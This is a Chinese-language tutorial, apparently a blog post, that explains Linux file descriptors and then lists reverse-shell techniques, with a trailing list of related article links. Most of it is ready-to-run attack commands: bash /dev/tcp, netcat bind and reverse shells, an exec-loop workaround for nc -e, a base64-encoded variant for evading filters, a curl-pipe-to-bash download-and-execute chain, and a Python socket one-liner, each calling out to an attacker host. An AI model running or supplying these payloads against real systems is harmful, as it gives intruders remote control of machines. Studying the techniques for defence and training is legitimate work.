文件描述符及Linux下利用反弹shell的各种方法

1、文件描述符(File Descriptor,FD)

本质:Liux内核给进程的非负整数标识,用于定位"打开的文件、设备、网络连接"(因iux遵循"一切

文件"设计,socket.、管道等/O资源也用文件描述符管理)。

默认值:每个进程启动时自动打开3个标准描述符:

o:标准输入(stdin,如键盘):

o1:标准输出(stdout,如终端屏幕);

o2:标准错误(stderr,如终端屏幕,专用于错误输出)。

自定义:用户可通过exec命令创建新描述符(如exec3<>file.txt让描述符3读写file.txt)。

tail打开一个文件

tail -f flag

获取tail进程PID

pidof tail

查看tail进程创建的文件描述符

ll /proc/98/fd

重定向是把输出定向到文件或者标准流。重定向输入输出本质上就是重定向文件描述符。

在linux中有个特殊的文件------/dev/null,所有写入的东西都会被清空

2、bash反弹shell原理

被控端

bash -i >& /dev/tcp/192.168.58.132/6666 0>&1

***

bash -i

打开一个交互式的bash shell。

>&,&>:混合输出,是把标准输出和错误输出都给了目标显示

0>&1:将标准输入的读取对象设置为标准输出的输出对象

/dev/tcp/IP/PORT

/dev/tcp/是Linux中的一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。

打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

/dev/tcp/192.168.58.132/6666

和192.168.58.132的6666端口建立TCP连接

***

控制端

nc --lvvp 6666

3、Linux反弹shell方法(看不同环境使用不同方法)

命令终端可以执行系统指令的地方就叫shell

(1)NC

nc正向shell

控制端:

nc 192.168.58.132 6666

被控端:

nc -lvvp 6666 -e /bin/sh

原 理:

被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

  • -e:是 Netcat 的参数,全称是 --exec,表示 "在建立网络连接后,执行指定的程序";
  • /bin/sh:是 Linux 系统中的 Shell 程序(等价于 bash 等交互式命令解释器);

nc反向shell

控制端:

nc -lvvp 6666

被控端:

nc -e /bin/sh 192.168.58.134 6666

原理:

被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。

通过文件描述符5,把 "控制端的输入(命令)"→"被控端的 Shell 执行"→"执行结果 / 错误返回控制端" 的全流程绑定到 TCP 连接上,最终实现和nc -e /bin/sh一样的反向 Shell 功能(但绕开了nc -e的限制)

被控端:

exec 5<>/dev/tcp/192.168.58.132/6666;cat <&5 | while read line; do $line 2>&5 >&5; done

控制端:

nc --lvvp 6666

(2)Bash

被控端:

bash -i >& /dev/tcp/192.168.58.132/6666 0>&1

控制端:

nc --lvvp 6666

base64编码绕过:

bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU4LjEzMi82NjY2IDA+JjE=|base64 -d|bash -i"

(3)curl

控制端创建一个html文件,然后开启http服务在托管该文件,然后目标用curl命令下载并执行

攻击者:

root@VM-0-2-ubuntu:~# cat index.html

bash -i >& /dev/tcp/IP/6666 0>&1

root@VM-0-2-ubuntu:~# python3 -m http.server

root@VM-0-2-ubuntu:~# nc -lvvp 6666

目标:

curl IP:8000|bash #bash会读取管道传过来的内容(也就是刚下载的脚本),并立即执行其中的命令

(4)python

目标:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call("/bin/sh","-i");'

攻击者监听端口就好了

这种利用目标现有的语言环境反弹shell其实本质就是建造一个socket通信,像php什么语言也是一样的

相关推荐
中云DDoS CC防护蔡蔡7 小时前
DDOS和CC攻击谁更可怕
运维·服务器·经验分享·网络安全·ddos
leagsoft_10037 小时前
勒索病毒扩散控制深度解析:四大扩散路径、主流方案局限与联软科技差异化实践
网络安全·零信任·内网安全·勒索病毒·微隔离·防勒索·ad域安全
Ruiery7 小时前
Linux 6.6内核内存管理深度解析(十六):mmap — 用户态“申请内存“的真相
linux·运维·服务器
砚凝霜7 小时前
保姆级 | CTF 命令执行 system($_POST[‘a‘]):直接传系统命令拿 flag(对比 eval)
web安全·网络安全
2501_915106328 小时前
抓包抓到乱码或压缩字节怎么解析,TraceEagle五种查看模式和一键解码
网络协议·计算机网络·网络安全·ios·adb·https·udp
欧米欧8 小时前
Linux系统篇(七),环境变量的底层溯源,核心获取机制与安全应用
linux·运维·服务器
Ruiery8 小时前
Linux 6.6内核内存管理深度解析(十八):KASLR 内核地址空间随机化
linux·运维·服务器·安全
qetfw9 小时前
UOS MariaDB 数据库:安装、最小权限与备份验证
linux·数据库·mariadb·uos
Da Da 泓9 小时前
五子棋 Web 端测试用例报告
前端·网络·websocket·网络协议·测试用例·项目
逆风的蚂蚁10 小时前
linux服务器性能调整怎么落地?我把 CPU 调度、I/O 优先级和内核参数这几个旋钮都拧了一遍
linux·运维·服务器